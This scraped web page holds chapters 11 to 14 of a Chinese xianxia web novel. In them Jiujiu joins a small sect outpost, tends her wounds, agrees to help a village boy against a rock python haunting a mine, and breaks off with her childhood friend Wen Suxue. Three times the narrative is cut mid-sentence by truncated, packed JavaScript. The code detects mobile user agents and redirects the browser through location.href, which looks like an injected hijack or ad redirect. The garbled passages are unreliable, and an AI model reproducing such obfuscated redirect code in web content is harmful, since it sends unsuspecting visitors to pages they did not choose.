棠鸠天生残体,宁溪奇筋异骨。棠鸠是泥泞中苦苦求生的小苦逼,宁溪则是高高在上的云上人。 小苦逼拼死奋斗一辈子,也爬不到棠鹊的高度,只能红眼嫉妒。 云上人重重摔下,摔到棠鹊脚下,摔到不如棠鹊的尘埃里,只能咀嚼仇恨。 不管你贫贱还是高贵,最终都比不上棠鹊。多苏多爽。 最后还要被棠鹊自以为是地赠送评语。 “你不是恨他们,你是嫉妒我。” “你只会挂念仇恨,却不知拥抱希望。” 希你个头。 啾啾拍了拍宁溪肩膀,以示尊重。 宁溪:???你那病患互相交流病情的表情是怎么回事??? 至于旁边这位杏色的少年……察觉到啾啾困惑的目光,少年暖呼呼地笑了:“我叫苟七,真身是狗。” 没在原著里出场过。啾啾想。 苟七摸了摸自己耳朵,不好意思:“是不是很奇怪,虽说在紫霄仙府的带领下,大部分门派也开放招收有灵智的动物入门学习,但实际上对于动物来说,走妖修的路线会更轻松……不过。” 苟七握住拳头,很坚定:“我就是一心向道!总有一天,我要成为狗中第一道、道中第一狗!” 精彩的布道! 啾啾跟着他握了一下拳。 “谢谢你,小师妹。”苟七拍了几下,把自己狗耳朵拍回脑袋,“……让你见笑了,我化形还不是很熟练。” 看出来了。 不过啾啾现在的关注点不在这个。她只是看看苟七,看看宁溪,又看看自己,叹了口气。 苟七急忙问:“怎么了,师妹,哪里不对?” 啾啾摇摇头。 宁溪却跳了起来,指着啾啾,大声喊道:“你刚才要是有一丁点的想法,觉得我们三个一样矮的话,我就杀了你!” 啾啾:…… 是的。 啾啾个子小小的,宁溪个子小小的,怎么苟七也个子小小的。 他们三个凑在一起,在大长腿漫天飞的修真界,简直就是个……盆地小分队。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067489|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >*** 啾啾被安排睡在北厢房第三间。 “你来之前我们已经把房间整理过了。”苟七随时都洋溢着热情的傻笑,“宁师妹还给你放了几盆冰氤花,这样睡着不会太热。” 宁溪只是别扭地强调:“说了叫我宁师姐!你们都得叫我师姐!” 别看她比啾啾还矮个一两公分,但她已经整整十七岁了,还有着筑基后期的战斗力,是不折不扣的师姐。 可惜宁师姐没什么威慑力,话音落下时,啾啾和苟七已经在聊别的了,竟然没有一个人侧脸看她。 “我们平时要做的事也不多,师妹你这段时间就安心养伤,不用急着加入工作。” 苟七像个温和可靠的小哥哥——指个头很小、兄长力却很高的少年。他一边说话一边还把床给铺好了。 “说起来,你身上的伤怎么样了?” “不要紧。” 啾啾抬起手臂看了一眼:“来之前已经处理过一次了。” 是她躺着睡觉那一个月中,钟棘给处理的。那位小师兄显然不擅长救死扶伤这种活儿,包扎得潦潦草草,估计也有给她喂药,因为她从歪歪斜斜的绷带下看到的是已经光洁如初的皮肤。 啾啾抿唇:“估计休息个三天就能彻底痊愈。” “嗯。不着急。”苟七摸了摸她脑袋,又轻轻拍一下她的腮。 啾啾:…… 她百分之百确定这是撸狗的手法! 她百分之百确定她刚才被一只狗撸狗了! 莫不是这位狗师兄以前做狗的时候,觉得很舒服,所以认为人类这样被撸也很舒服? 啾啾不敢相信。 肇事人完全没觉得不对,还对她绽放出一脸善意的笑。 啾啾:…… 草(一种植物)。 “好了,天色不早了,师妹就好好休息吧。”苟七对啾啾点了点头,拖着宁溪离开房间。 隔了老远,还能听见宁溪因为刚才被无视而噼里啪啦烦扰苟七的声音。 热闹的不得了。 啾啾坐到床上,念了个清身术,解下身上的绷带。 是回春堂常用的织云布,素白柔软,上面残留着些许钟棘的气息。 除此之外,钟棘还给她扔了点药。 只有半瓶,应该是他平时用剩的外伤药——也许、可能、大概小钟师兄不会疗伤仙术,把技能点全点在战斗上了,所以平时只能靠伤药来治疗身上的战损伤痕。 他那么喜欢战斗,受伤肯定不会少。 想想还挺惨的。 啾啾给身上仅剩的几道伤涂好药,躺下,走神好一会儿,最后摸出另一个东西。 这才是她最近最想分析解谜的东西。 ——是之前在试炼秘境捡的那颗琉璃珠子。 按理说应该被她装进物品袋,一起遗失在玉塔里了,可她在回春堂醒过来时,这颗珠子又回到了她手里,被她紧紧捏着,散发出温热的触感。 这到底是什么? 啾啾凑拢了,微微皱着眉。 琉璃珠整体呈蓝色,四周澄澈干净,唯独最中间有一抹白色的絮状物,像是漂浮云絮的蔚蓝晴空。 血滴在它身上没有反应,仙法施在上面也没有反应。 它安安静静的,不声不响,仿佛死物。 啾啾又尝试用新的方法唤醒它,折腾了好一会儿,也没有任何变化。 珠子依然长那样。 没办法,她只能把它重新放回去收好。慢慢研究,不着急。 啾啾闭上眼。 第二天,她是被厨房的爆|炸声吵醒的。 12. 第 12 章 厨房那边已经站着人了。 苟七和宁溪吵得不可开交。 啾啾抵达的时候,只看到焦黑的墙面、一地的碎片,凶巴巴的宁溪,以及张开双手试图阻止啾啾视线的苟七。啾啾往左,他就跟着往左,啾啾往右,他也跟着往右。 “师妹,多睡一会儿也没关系。” 啾啾:“我睡够了。” “不够,你只睡了四个时辰不到,我们一般一天都睡八个时辰。” 啾啾:“……因为你是狗。” 苟七拦在门口,虽然他过分可爱的小个子挡不住一片狼藉的现场,但他脸上写满了禁止进入的决心,两只犬耳警惕地转来转去。 宁溪也停止了和苟七的对峙,转而挽住啾啾——说是挽住,不如说是架住:“这里不许你呆着。” 啾啾被她拽着往回走,默了默:“你们在做什么?” 宁溪面色一僵,片刻后别开脸,哼声:“不告诉你。” 啾啾:“帮我做早饭?” 宁溪:“不是。” 啾啾:“在做违|禁|药|品?” 宁溪:“不是。” 啾啾:“开发新菜谱?用火系法术打架?浇水灭火时因热胀冷缩引发炸锅?” 宁溪:“都不是。” 啾啾:“给我准备迎新会?” 宁溪大惊失色:“你怎么知道!” 啾啾:…… 穷举法对笨蛋永远有效! 啾啾被按回弟子堂,由宁溪抱着胳膊虎视眈眈地盯着,枯坐了一个上午。这简直比关刑房还要受苦,刑房姑且还留有一小片天地让人活动活动胳膊腿儿,宁溪的视线下,啾啾连抬抬手都会被严阵以待。 幸好到了中午,苟七捧着热腾腾的汤菜,结束了啾啾的酷刑。 紧随而来的是另一种酷刑。 围坐在小桌子边,啾啾几次提起筷子,又几次放下。环视一圈,宁溪表情一言难尽,苟七则亲切地笑:“筑基期后我就没再做过饭了,可能厨艺有些退步,但应该不会太难吃。师妹尝尝。” 啾啾夹了一筷子粉色肉块,放进苟七碗里:“师兄请。” 苟七默了默,抿抿嘴,表情害怕。 ——所以说你自己做的菜,你到底在害怕什么! 好半天,苟七终于挑起那块颤颤巍巍的肉:“这是火魔的肉,纯天然无污染,外面的人想吃都吃不到,定然美味至极——咕——呃呃呃呃——” 小少年背过身,扶着墙,生不如死。长时间不曾进食,就算吐,也吐不出任何东西,只有脸色白得瘆人。 啾啾和宁溪一起放下筷子。 懂了。火魔的肉,连狗都不吃。 汤锅上的热气还在袅袅上升,几个人仿佛在进行某种神秘仪式,堪堪盯着那锅,表情复杂,一动不动。诡异地沉默了半天,啾啾问:“有酒吗?” “有。” 啾啾眼睛很黑,和别人的眼睛看起来总有些不太一样。多看几次,大概就能明白,因为她的眼睛里没有光,没有期望,也没有绝望,仿佛一潭死水,安静地沉浸在死寂的世界。 现在这双毫无情绪的眼睛看向苟七,苟七却似乎悟了什么,摸摸鼻子。 “不是我酿的酒,张弛师兄之前带过来的。” 啾啾放心了:“那我去买点下酒菜。” “……也好。”苟七艰难地点头。 宁溪伸手扔来一样东西:“山下人不需要灵石,用这个与他们交换便可。” 啾啾手心里落了几枚铜板。 紫霄仙府乃是整个修真界的第一学府,就像啾啾以前所在的世界里的帝国大学一样,属于高等教育。仙府掌控着天下灵脉、占据着所有仙法异宝,学生能在其中修习一二品的高阶仙法,成仙指日可待。 太初宗等等门派则像是附属中学,学生们只能在这里学到最高三品的仙法。主要还是为了进行筛选,将学生分个优劣,输出最佳人才送给紫霄仙府。 紫霄仙府每隔百年,会开启一次清元秘境,用以招纳弟子。 而太初宗一直都是在清元秘境中表现最优异的门派之一。因而紫霄仙府划分给太初宗的土地极为宽广,其中免不了会包含进凡人的聚集地。 除了南边的陵应城、栗州县,焦火山里也稀稀疏疏坐落着几个凡人村落。 宁溪与苟七去做驻扎任务,啾啾一个人背了剑往山谷走。 山风厚重,阵雾浑浊。 焦火山空旷且安静,往东行七里路,隐隐约约能看见山岭上有个小村落,啾啾加快了脚步。 不料还未进村,就听见一阵稚嫩的哭声。 “哥哥——哥哥——” “你能不能醒醒,快醒醒——” 啾啾驻足看了几眼。村外褐色岩石后有个歪歪斜斜的破棚屋,木墙上裂缝纵横,哭声就从裂缝后渗出来。 听起来是个小男孩的声音。 她一向不喜欢多管闲事,转身正要离开,那木门却吱呀一声打开,有个脏兮兮的身影揩着眼睛出来,见到啾啾时还有些意识朦胧,不住打着哭嗝。 不过片刻后,他就放下手,愣住:“仙人?” 啾啾:指我? “仙人!”男孩突然叫喊一声,泪痕都没来得及擦,就连滚带爬冲过来,中途被绊了一下,踉跄了好几步,最后揪住啾啾衣角,眼泪又冒出来,“你是藏雀山上的仙人对不对?” 太初宗便在藏雀山上。 其实修仙的人很好辨认,光是穿着打扮就与俗世的人不太一样。饶是凡间最珍贵的缂丝,也比不上修真界一段下品的练彩锦,更别提寻常人家穿的只是葛布麻杉,修士们往那儿一杵,都跟会发光似的,格格不入。 更何况,他们还长得好看。 饶是啾啾在修真界里并不算特别起眼,可比起凡人,还是优越太多。 男孩抬起头,急切又期待地看着她。 好半天,啾啾点点头。 男孩松了口气,不过片刻后又身子一震,半是着急,半是害怕。他个子很矮,看起来十分幼小,微黑的脸庞上有与年龄不相符的焦虑。 “求求你,救救我哥哥。”男孩拽着她衣角,一边哭一边颤声恳求,鼻涕滑稽地冒了个泡,“我哥哥受了伤,一直躺在床上。我明明按大夫所说的,给他煎、煎了药,我每天都有好好煎药,可哥哥他还是躺、躺在那里,睡得越来越久……” 他抽噎中讲话讲得断断续续,听不太清楚。啾啾抽回手,很平静:“带我去看看吧。” “好、好!” 男孩擦擦眼睛,先一步,忙不迭往棚屋走去,没两下又转过头,小心翼翼的,生怕啾啾突然飞走了似的。 “我不会走。”啾啾说。 “……啊,哦!”男孩红了脸,低下头,怯怯地将啾啾带进屋里。 破烂的棚屋根本挡不住风,焦火山本就阴暗不见天日,棚屋里更是黑黢黢一片,正中一个火坑,上面架了口锈铁锅,微弱的火光难以盈满这个房间。 啾啾也不太擅长火系法术,但她是个木灵根,往火坑里多凝出些碎木,不消片刻,火就旺了。 男孩张了张嘴,看着凭空生出的碎木,愈发觉得踏实。他眼睛闪闪发光。不仅是崇敬,还有希望,如这火坑一般在熊熊燃烧。 他逼着自己冷静下来,好好和啾啾说明情况。 “焦火山虽无法犁地产粮,可这里矿产丰富,我们崔家村世代都是挖矿为生。但就在半个月前,矿坑里突然传来怪叫,火把全灭了。村长就叫了几个矿工下去坑底看看。” “没想到,大家下去后,那声怪叫又响起来。我们大家都很急,村长爷爷用拐杖在洞口敲着喊了几声名字,然后,我们就听到了惨叫。” 穷人家的孩子早当家。大部分孩子还在讨狗嫌时,这孩子已经在强逼着自己独当一面了,尽可能用简单的话和啾啾阐述清楚,以免自己惹“仙人”生气。 他顿了顿:“……再然后,只有哥哥和六叔逃了出来。柱子哥、三伯、壮壮……全不见了。前些天,六叔也走了。” 说到这里,他捏了捏手。 “……仙人姐姐,我哥哥,还能醒过来吗?” 躺在石板床上的少年眼周青黑,伤口被好好清洗过,但伤疤是不正常的深黑色。再仔细一看,皮肤下有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067490|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐隐约约的深色纹路。看样子是某种带毒的东西。 伤口极深,洞穿伤害。不是爪击,那么应该是牙咬伤。 再具体的看不出来了。 啾啾回答不了他的问题,站起来,淡淡的:“现在带我去矿坑看看。” “好!” 男孩引着她往矿坑走。 崔家村的矿脉离村子有一段距离。 山风呼啸,发现啾啾准备认真负责起这件事后,男孩的心安定了一些,路上偷瞄了她好几次——这藏雀山的仙人姐姐虽然冷冷淡淡的,但模样又是和冷淡完全不一样的明艳。 年纪看起来也不大,唔,可是真的很好看,是那种就算她年纪不大也知道以后长开了会很好看的好看。 男孩没念过书,不会说太高深的成语,只能翻来覆去嚼巴“好看”这个词。 不知道藏雀山上的人,是不是都这么好看。 啾啾问:“后来你们还去过矿坑没有?” “没有了。”男孩摇头。 “那条矿坑被弃置了。我们村总共只有两个矿坑,最值钱的便是那一条。村里死了人,大家本来就很难过,现在矿道还废弃,换不了粮食,就更……不知道以后该如何是好。” “村长爷爷也让人去了藏雀山求助,可大家无一例外都在山里迷了路。村长爷爷说那应该是仙……仙法。” 是阵法。啾啾想。专门针对凡人设置的迷阵。 修真者之于凡人来说,虽然确实很牛逼,但老是被求助来求助去,也很烦的。更何况大部分人的求助是为了不劳而获——我想发财。我想升官。我想一夜七次。 谁管那些! 啾啾没有和他多解释,只是点点头。 “就是这里了。”男孩指了指,想到不好的回忆,脸色发白。 面前一个黑黢黢的人工洞子,外面七零八落放了些箱子和矿镐。 “你在洞口等我。”啾啾走过去。 焦火山一年四季狂风不休,好在矿坑沉在地底,路面上的尘土吹不散。 啾啾刚一进去就发现好些细长弯曲的痕迹,一些很凌乱,一些在打转,还有几条蜿蜒不断地往洞坑深处延伸。 这种爬行痕迹看起来是蛇蟒一类。 啾啾心里大概有了个底,又蹲下摸了摸泥土。很松。空气中有奇怪的味道——除了尸体散发出的腐烂味,还有股黏糊糊的腥臭。 能钻入地底,发臭的蛇蟒。 不太妙。 她放轻了脚步,慢慢深入。越往里走,腥臭味就越重,不知道经过多少个熄灭的火把,突然,洞坑深处突然传来一声震天尖啸! 震耳欲聋,带着警告和怒嚎,在狭窄黑暗的矿道中远扬回荡! 接着,整个矿道一阵抖动,碎石簌簌往下落! 啾啾猛地顿住脚步,望向黑暗的深处。 ——这是最不妙的结果。 她立刻回头。 男孩老老实实在洞口守着,显然他刚才也听见刚才那声尖啸了——那么大动静怎么可能听不见,骇人至极。 他脸色惨白,腿肚子有些发抖,却握紧了拳死不离开。 一见啾啾出来,他立刻迎上:“怎么样?” 啾啾如实告知:“闇石蟒,修为比我高,我打不赢。” “……”这消息无疑让他怔在原地,脑袋里嗡嗡地不停响。再次开口时,他那脆生生的声音也在跟着发抖,“你……你也对付不了?” “能对付。” 什么意思? 到底是能还是不能? 男孩迷惑了。一颗心提起又放下,不知所措地呆站在原地,傻愣愣地瞧着啾啾。 “虽然硬碰硬是打不赢。但是。” 对面那一直冷冰冰的少女突然笑了,弯了弯嘴角,男孩错愕地瞪大眼—— 他一直以为仙人姐姐不会笑。 原来她会,而且,笑得很好看。淡淡的,却如皎月晨星,潋滟生辉。刹那间时间都仿佛停在这一息,万物俱寂。 可惜她眼睛却是冰的,冷酷无畏。 “没开智的东西,没有一个是我不能对付的。” 13. 第 13 章 藏雀山难得的阴天。 乌云厚重,天色玄沉。那群水灵根弟子正在练习凝雨诀,时不时降下一阵雨。 棠鹊将手指环成一个圈,放在眼前,透过那圈凝望雨云。 她怎样都无所谓。 她已经不太记得那个面目模糊的女人究竟是谁——她的记忆里有许多面目模糊的人,来来去去冲散在生命的长河里,只偶尔翻出一朵浪花,勾起她朦胧的回忆。 但棠鸠回到棠家那一天,她却清楚记起了那女人曾对她说的话:“从今天起,你是棠家的女儿。” 那时候棠鹊只有三岁不到,跑起路来摇摇晃晃,还会跌跟头,时常引起一阵哄笑。她一无所知地被那女人带到棠氏夫妇面前,看向愕然的男人,和哭泣的妇人——以及妇人那双和自己一模一样的眼睛,电光火石间有什么贯通了她的脑海,她懵懵懂懂地往前走了两步,一歪头:“爹爹,娘亲?” 棠鹊就这样成了棠家大小姐。 爹娘喜不自胜,光研究她名字就研究了一个夏天,最后郑重地给她取名为“鹊”。寓意吉祥,不求她出人头地,但求她幸福快乐。 三岁的小孩能懂什么,连记忆都时常断片。等她真正能记清楚事时,那些朦朦胧胧的身影早被抛之脑后。 如果不是她被带回家,顶替了阿鸠的位置,也许棠氏夫妇还会接着找下去,直到找到阿鸠为止。 都是因为她。 所以她拼命想要补偿阿鸠。阿鸠喜欢她的房间,好,她让给她。阿鸠喜欢她的新衣服,好,她忍痛割爱。阿鸠喜欢小温温……好,她同他划清界限,不再往来。 书院里那少年,她的好友慕以南,曾皱眉看着她,压抑着怒气问:“棠鹊,你就这样漠视自己的心意?是不是棠鸠想要我,你连我都会让出去?” 是的。她怎样都无所谓。因为她被这个世界伤得太深,早已不抱幻想。她只想尽她所能地补偿阿鸠。 就算阿鸠要伤害她,半夜点着蜡烛偷偷看书,争强好胜地在书院考个榜首践踏她自尊,也无所谓。 但阿鸠不应该利用她的愧疚去伤害她的朋友们。 小青鸾…… 棠鹊闭了闭眼。 又下了一阵雨。雨停后,棠鹊披上新衣出去走了走。 空气中有股泥土味儿,院中金雀花开得招展。 刚出弟子居,她便遇上沉默往外走的温素雪。 “小……”棠鹊下意识喊他一声,发出一个音节后立刻咬了舌头,改口,“温、温素雪,你要去哪儿?” 进入内门后,弟子等阶就变得严谨起来,虽说温素雪年纪比她小,可修为比她高,按照门规,她须得叫温素雪师兄才是。 可棠鹊叫不出来,索性直接喊了名字。 温素雪愣了愣,倒是没太计较,只淡淡道:“我去焦火山看看棠鸠。” “阿鸠?”从温素雪口中听到这个名字,棠鹊心里没来由的一跳,片刻后反应过来,“呀——我忘了,一个月了,阿鸠已经离开讨刑峡了。” “嗯。” “你……”棠鹊垂下睫毛,像是想起什么,无意识扯了下温素雪的袖子,“我没想到师尊会罚阿鸠这么重。我没想让她吃这么多苦。” “她做错了事,自然该罚。” 棠鹊吃了颗定心丸,偷偷瞥他一眼。少年面如冠玉,神色冷峻,雨云下的轮廓秀美又脆弱。 默了半晌,她拉拉身上的斗篷:“我同你一起去罢。” “不必。”温素雪平平道,“她未必想要见你。” 棠鹊脸色蓦地一白,心口揪紧。再一打量面前少年的神情,依然淡淡的,没有指责她,也没有偏袒棠鸠的意思。他只是面无表情地陈述了一个事实而已。 她有时也会这样,平淡温和,但说出的话,残酷直白得有如刀刃。就好像那年她看着棠鸠和温素雪越走越近,也同样平静地对温素雪说“你不要再来找我。我们不是朋友”一样。 不知何时,她攥紧了手:“我有话想和阿鸠说。” “……” 温素雪垂下眼。 少女低着头,婴儿似的软睫轻轻颤动,纤细敏感,抿紧的唇却苍白坚定,仿佛一株柔软的花,在挺直腰杆独自面对狂风暴雨。 温素雪几乎是一瞬间抬起了手。 那是曾经春心初动时最炙热的感情所留下的习惯,身体比大脑更快做出反应,想要拍拍她脑袋。可手心还未触到,便收了回来。 许久后,他才应声:“走罢。” *** 没吃早饭,没吃午饭,啾啾在男孩家随便吃了半个粗面窝窝头。 这孩子名叫崔小虎,家贫如洗,平时吃饭要么挖点野菜煮粥,要么啃干硬的冷馒头。这略带一点甜味的窝窝头,是他最珍贵的食物。 啾啾一直在算阵法,直到吃了一半,看见对方不停吞咽的喉头,才意识到这一点。 所以她撇了一半的窝窝头还给小虎。 小虎依旧舍不得吃,用油布包了起来,不知道是不是想要留给他哥哥。 他眼巴巴盯了啾啾半天,忐忑地问:“啾啾姐姐,我们真的能驱除它吗?” 啾啾看了眼手上的窝窝头:“我既然吃了你的东西,就会负责帮你把事情解决好。” 这也许就是传说中的供品吧。 怪不得村长爷爷派的人没有一个能爬上藏雀山,因为他们没有带请神用的供品。 “哦。”小虎吐出一口气,没等他放松,又突然一僵,“可,你只吃了一半。” “所以我只帮你解决一半,驱逐它的上半身,下半身你们自己想办法。” “啊?!”还能这样??? “开玩笑的。” 小虎擦了擦额头上的虚汗,觉得啾啾这不苟言笑的模样不太适合开玩笑。 屋里重新安静下来。 火坑里的火还没灭,风从棚屋的裂缝灌进来,将火焰吹得不停摇曳。 男孩拿了根烧火棍,不停拨弄火坑中的柴火,屏息凝神,生怕自己影响了啾啾思考。 不知道过了多久,啾啾再一次抬起头,打破寂静:“有疣果子吗?” “没有。”男孩摇了摇头,不过片刻后又眼睛一亮,“但山里的渡鸦最喜欢藏疣果子,我知道有个地方渡鸦巢穴特别多!” “我要十个疣果子。” “好!”男孩跳起来,一拍胸脯,“我这就去掏鸟窝!” 他一阵风似的冲出去,啾啾则留下继续做数学题。 阵法能够扭转天地规则,不可谓不厉害,但修真界里却鲜少有阵修,原因不外乎一点——这玩意儿太难了。 低阶阵图没威力,高阶阵图又被紫霄仙府牢牢掌控,千金难买,可遇而不可求。 当然也可以不依赖前人留下的阵图,自己摆阵,那这要考虑的东西就很多了——阵眼阵枢的相生关系、阵枢链的构造与衍生能力之间的倍率加成、阵法的规模与负荷之间的平衡。 总而言之,大部分人根本玩不懂。 啾啾却能把阵法所有必要条件转换成数字来运算。 她曾经生活的那个世界,信息爆炸,全息屏代声机比比皆是,语文、乃至语言都已经无关紧要,唯独运算能力最为重要。啾啾是数学奥赛生,把阵法当成一道数学题,一切都能迎刃而解。 大概也就初二习题的难度吧。 她算着阵法的稳定值,掐了掐手指,笔尖突然一顿。 清冽微苦的广藿香随风淡淡拂过,提神醒脑,像极了温素雪身上常带的气息。 啾啾走神了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067491|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >突然想起那位火焰一样的小钟师兄,他身上则是草木与血腥气纠缠的味道,淡淡的,不过并不让人讨厌。 火声噼啪,不见人影,寂静到整个世界仿佛只剩下自己。啾啾搓了搓手,低下头继续写。 最后验证一次,阵法结构准确无误,她走出门,捡了根枯枝,在地上画出阵枢与阵眼,又开始准备要布置在各个地方的镇物。 其它都全,就差个金属性的物件。 她瞧见不远处有个铁锹,走过去,刚要伸手,一只细长白皙的手比她更快握住木柄。 “我来吧。”少年淡声道。 啾啾抬起头。 温素雪半垂着眸,唇色绯红。 ——他果然在这里。大概刚才是怕影响她,所以才一直收敛着气息。 少年头戴玉冠,扎起的青丝垂落到腰际,如飞泉流瀑。他身后负了柄长剑,已经不是之前量产的门派素剑,剑柄上图纹开枝蔓叶,绿意浓厚。看样子是通过试炼秘境后,他拿到的法器。 这么多年的青梅竹马不是白当的,曾经形影不离时养成的默契让温素雪能轻而易举看穿啾啾的意图。毕竟这是他们做过无数次的事,啾啾负责设计阵图,温素雪负责布置阵法。 现在他也把自己当作工具人,自然而然地要为她跑腿。 其实原著里温素雪对棠鸠的态度不算太坏。 他从未鄙夷憎恶过棠鸠——至少明面上没有。他会在棠鸠被惩罚后帮着收拾烂摊子,会替棠鸠向主角团道歉,也会在棠鸠受伤后,替她复仇。 可他从未信任,也从未理解过棠鸠。 温素雪是个姐控,姐姐系的棠鹊无疑是他的人间理想。少年人唯一炙热的心和奔放的爱,都在幼年时期给了她。现在只剩下一具淡漠如雪的空壳,对棠鸠履行行尸走肉般的责任——为了她曾经的舍命相救。 所以温素雪不信任棠鸠,漠视棠鸠感受,却又会照顾她帮扶她。 他明明一直并肩站在棠鸠身边,一直看着棠鸠所遭受的一切不公与偏见,却不能感同身受,不理解她的委屈和痛恨。 心不在此罢了。 说到底,还是偏心棠鹊。 “不用。”啾啾摇摇头,也握住铁锹长柄。 少年骨骼坚硬分明的手在上,少女消瘦小巧的手在下,用力一抽,铁锹便易了主。 手心骤然空荡。温素雪看了眼自己病态苍白的手掌,唇线微抿,不解:“你还在生气?” 啾啾歪歪脑袋:“你还是不信我?” 温素雪皱起眉。 他是真的不理解,觉得啾啾应该讲道理。做错了事本来就该受罚,此乃方圆规矩。现在一切扯平,事情也过去了一月有余。棠鹊都来主动求和了,啾啾还在不依不饶地狡辩,未免有些过头。 赤红的天光勾勒出少年单薄的轮廓,他放下手,无法违心说出相信她的话,索性转身,一言不发地去布置另一个阵眼。 “不用。”啾啾把刚才拒绝的话又说了一次。 她瞥他一眼,抬起头,冷漠地看向前方。想起棠鸠死前温素雪那一剑,没入心脏,穿出后背,该有多痛。 该有多绝望。 把棠鸠逼上末路的,他温素雪也算一份子。 啾啾淡淡的:“我没有生气,也没有和你犟。你愿意去相信你的白月光,那就去信,我没有不理解。只是——” 少女顿了顿,声音轻飘飘的,随风而散。 “温素雪,我不要你了。” “不用再来管我,我不要你了。” 她松开手,将那根铁锹扔进阵眼,铛铛哐哐,宛如丢弃垃圾。 远方一整日乌云连绵的藏雀山突然一声惊雷乍响,轰然震麻,啾啾眼底映下闪电的光,没有温度。 温素雪怔在原地。 14. 第 14 章 远方的山脉连绵不断,仿佛一只巨兽趴在那里,安静欣赏人世百景。 少年偏过脸,看向啾啾,雪峰艳阳般的眸子里有些惊讶和不明白。 棠家两姐妹都是淡漠的人,不过棠鹊的淡漠是温和的,是历经苦难看穿世事后的宽容。棠鸠的淡漠却是冷硬的,是以卵击石粉身碎骨的坚毅。她会拼命和昆鹫战到死,也会决绝地断舍离。 她做下的决定很少会改变。 温素雪的唇动了动,想要说什么,却最终没有开口。 ——他和棠鸠分道扬镳的这一天终究还是来了。 来得很普通,没有狂风暴雨作为背景,没有撕心裂肺,也没有爱恨浓烈,就那样平淡却锐利掠过胸膛,被风吹散。焦火山依旧沉重安静地伫立在这里。 温素雪不会太所谓。他应该无所谓。生离死别,人来人去,都很正常。他从小到大,早就看过无数次。 更何况,他一开始就是抗拒棠鸠接近的。 十岁时棠鸠很有黑风寨特色地通知他“我中意你,我们做朋友吧。”他便是别过脸,皱了皱眉,平静而又有些厌恶:“我不需要朋友。” 高傲的少年不会哄人也不会低头,安静站了一会儿,神情可有可无,可又攥紧了手,脸白如纸。 正僵持间,背后传来声音:“啾啾姐姐!疣果子我带回来了!” 微妙的气氛瞬间被打破,啾啾回过头,立刻看见对她兴奋挥手的小虎。 “嗯。”她撩起眼皮。 除了小虎,还有——也许是掏鸟窝时不小心掏到的棠鹊。她正牵着小虎的手。男孩一双眼睛闪闪发光,黝黑而幼稚的脸颊不知是害羞还是什么,红通通的。 哦呼。啾啾觉得自己已经见惯不惊了。 棠鹊唇角漾着恬淡的笑:“阿鸠,我来看看你。” 啾啾点点头,算是打过招呼,接着吩咐好奇打量温素雪的小虎:“把疣果子放进前面那个坑里。” “好!” 男孩甩开棠鹊的手,干净利落地照做。 “然后你站到那个圈里。”啾啾叮嘱他,“不要动,不管发生什么都不要动。我保证没有任何东西能伤到你。” 小虎连连点头。 男孩有一颗上刀山下火海也要救哥哥的决心,可到底年纪太小,察觉到自己肩负重任,不免脸色有些发白。 啾啾瞧了他几眼:“拿上这个。” 小虎定睛一看——是他家的砍骨刀。因为多年没有吃上肉,这把刀被忽略太久,已经生了锈。在他手里显得格外沉重硕大。 “这个是不是被附了仙法,能让我和你一起战斗?” “不是。”啾啾淡淡的,“没有那种仙法。” “那是让我带着防身?” “也不是。”啾啾平静,“只是为了让你心里好受点。” 小虎:“……” 啾啾姐姐真体贴。 被无视了许久,棠鹊实在忍不住,往前踱一步,面露迟疑:“阿鸠,我听小虎说了,你要对付闇石蟒?” “对。” “可,”棠鹊皱了皱眉,“那是筑基初期的妖兽,你当真要这么做?” 她眸光一扫,更何况,还又用了阵法。明明已经告诉过她,爹娘不喜——阿鸠总是这样,不肯听话,却又希望别人喜欢她。 啾啾头也不抬:“对。” 棠鹊心里有些复杂,犹豫一下,望了眼不远处沉默着、与啾啾之间气氛略显诡异的温素雪,叹了口气,沉声:“那,我也来帮忙,我和温素雪一起。有什么是我们可以做的?” “你们可以一起站到法阵外,玩一个叫一二三木头人的游戏。然后,不要影响我。” “……” 棠鹊一张俏脸立刻红了。 被嫌弃的感觉让她多少有些动摇,片刻后才固执地摇头:“不行!” 她抿唇:“我知道阿鸠你现在不想见我……但情况特殊,我不能对你坐视不管。” 她掷地有声:“因为你是我妹妹!” 啾啾:…… “你想多了。” 出于对不确定因素的考虑,啾啾决定解释清楚。 “放灵果的这个是聚灵阵,能够凝聚灵气,目前稳定值99,规模为11,负荷95。” “放铁锹这个是借灵阵,能把聚来的灵力化为我用。稳定值97,规模为8,负荷67。因为负荷值还剩很多,所以我增加了一个‘兵’阵眼,能让我打人更疼。”她顿了一下,“现在它负荷值高达99。” “这两个阵法负荷值都很高了,若是再有人进入,阵法便会崩塌。所以,你们老老实实站在外面就好。” 棠鹊愣了又愣,放下手,耳尖绯红。 “是……是我误会了。” 